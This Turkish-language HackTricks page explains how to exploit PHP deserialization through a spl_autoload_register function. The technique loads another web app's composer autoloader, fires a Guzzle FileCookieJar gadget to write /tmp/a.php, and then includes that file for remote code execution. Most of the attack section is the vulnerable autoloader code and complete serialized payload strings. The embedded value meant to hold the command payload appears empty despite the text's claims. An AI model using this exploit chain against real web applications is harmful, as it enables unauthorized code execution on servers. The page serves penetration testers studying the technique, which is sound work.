# PHP - Deserialization + Otomatik Yükleme Sınıfları
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
İlk olarak, [**Otomatik Yükleme Sınıfları**](https://www.php.net/manual/en/language.oop5.autoload.php)'nın ne olduğunu kontrol etmelisiniz.
## PHP deserialization + spl\_autoload\_register + LFI/Gadget
**Web uygulamasında PHP deserializasyonu** bulduk, ancak **`phpggc`** içindeki gadgetlara karşı savunmasız bir kütüphane yok. Bununla birlikte, aynı konteynerde **savunmasız kütüphanelere sahip farklı bir composer web uygulaması** bulunuyordu. Bu nedenle, amacımız, deserializasyona karşı savunmasız olan web uygulamasının **composer yükleyicisini yüklemek** ve onu kullanarak deserializasyona karşı savunmasız olan kütüphaneyi bir gadget ile sömürmek.
Adımlar:
* Bir **deserializasyon** buldunuz ve mevcut uygulama kodunda **hiçbir gadget yok**
* Aşağıdaki gibi bir **`spl_autoload_register`** işlevini istediğiniz herhangi bir yerel `.php` uzantılı dosyayı **yüklemek için istismar edebilirsiniz**
* Bunun için, sınıfın adı **`$name`** içinde olacak bir deserializasyonu kullanabilirsiniz. Bir seri nesnede sınıf adında "/" veya "." kullanamazsınız, ancak **kod**, **alt çizgileri** ("\_") **eğik çizgilere** ("/") **dönüştürüyor**. Bu nedenle, `tmp_passwd` gibi bir sınıf adı `/tmp/passwd.php`'ye dönüştürülecek ve kod onu yüklemeye çalışacak.\
Bir **gadget örneği** şu şekilde olabilir: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
{% hint style="success" %}
Eğer bir **dosya yükleme** işlemi yapabilir ve **`.php` uzantılı** bir dosya yükleyebilirseniz, bu işlevselliği **doğrudan kötüye kullanabilir** ve zaten RCE elde edebilirsiniz.
{% endhint %}
Benim durumumda böyle bir şeyim yoktu, ancak **aynı konteyner** içinde başka bir composer web sayfası vardı ve bu sayfa **`phpggc` gadget'ına** karşı savunmasız bir kütüphane içeriyordu.
* Bu diğer kütüphaneyi yüklemek için, öncelikle **o diğer web uygulamasının composer yükleyicisini yüklemeniz gerekmektedir** (çünkü mevcut uygulamanın yükleyicisi diğer uygulamanın kütüphanelerine erişemez). **Uygulamanın yolunu bildiğinizde**, bunu çok kolay bir şekilde yapabilirsiniz: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Benim durumumda, composer yükleyicisi `/www/frontend/vendor/autoload.php` içindeydi)
* Şimdi, diğer uygulamanın composer yükleyicisini **yüklüyoruz**, bu yüzden **`phpggc`** **payload**'ını **oluşturma zamanı** geldi. Benim durumumda, **`Guzzle/FW1`**'i kullandım, bu da bana **dosya sistemi içinde herhangi bir dosya yazma** izni verdi.
* NOT: **Oluşturulan gadget çalışmıyordu**, çalışması için phpggc'nin **`chain.php`** payload'ını **değiştirdim** ve sınıfların **tüm özniteliklerini private'dan public'a** ayarladım. Aksi takdirde, dizeden çözümlendikten sonra oluşturulan nesnelerin özniteliklerinin herhangi bir değeri olmazdı.
* Şimdi, diğer uygulamanın composer yükleyicisini **yükleme yoluna sahibiz** ve çalışan bir **phpggc payload'ımız var**, ancak yükleyicinin gadget kullanıldığında yüklenmesi için **BU İSTEKTE AYNI İŞLEMİ yapmamız gerekiyor**. Bunun için, her iki nesneyi içeren bir seri hale getirilmiş dizi gönderdim:
* **Önce yükleyicinin yüklendiğini, ardından payload'ın yüklendiğini** görebilirsiniz.
{% code overflow="wrap" %}
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
{% endcode %}
* Şimdi, bir dosya oluşturup yazabiliriz, ancak kullanıcı web sunucusunun içindeki herhangi bir klasöre yazamaz. Bu yüzden, payloadda görebileceğiniz gibi, bazı base64 ile PHP **`system`** çağrısı **`/tmp/a.php`** içinde oluşturulur. Ardından, diğer web uygulamasının composer yükleyicisini yüklemek için LFI olarak kullandığımız ilk tür payloadu yeniden kullanabiliriz. Sadece bunu deserialization gadget'a ekleyin:
{% code overflow="wrap" %}
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
{% endcode %}
**Payload özet**
* Aynı konteynerdeki başka bir web uygulamasının **composer autoload'ını yükle**
* **phpggc gadget'ını yükle** ve diğer web uygulamasının bir kütüphanesini kötüye kullan (deserialization açığına sahip olan başlangıç web uygulamasında herhangi bir gadget yoktu)
* Gadget, **kötü niyetli komutlar içeren bir PHP payload'uyla** /tmp/a.php adlı bir dosya oluşturacak (web uygulama kullanıcısı herhangi bir web uygulamasının herhangi bir klasörüne yazamaz)
* Payload'ımızın son kısmı, komutları yürütecek olan **oluşturulan php dosyasını yüklemek** için kullanılacak
Bu deserialization'ı **iki kez çağırmam gerekiyordu**. Testlerimde, ilk seferinde `/tmp/a.php` dosyası oluşturuldu ancak yüklenmedi ve ikinci seferinde doğru şekilde yüklendi.
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.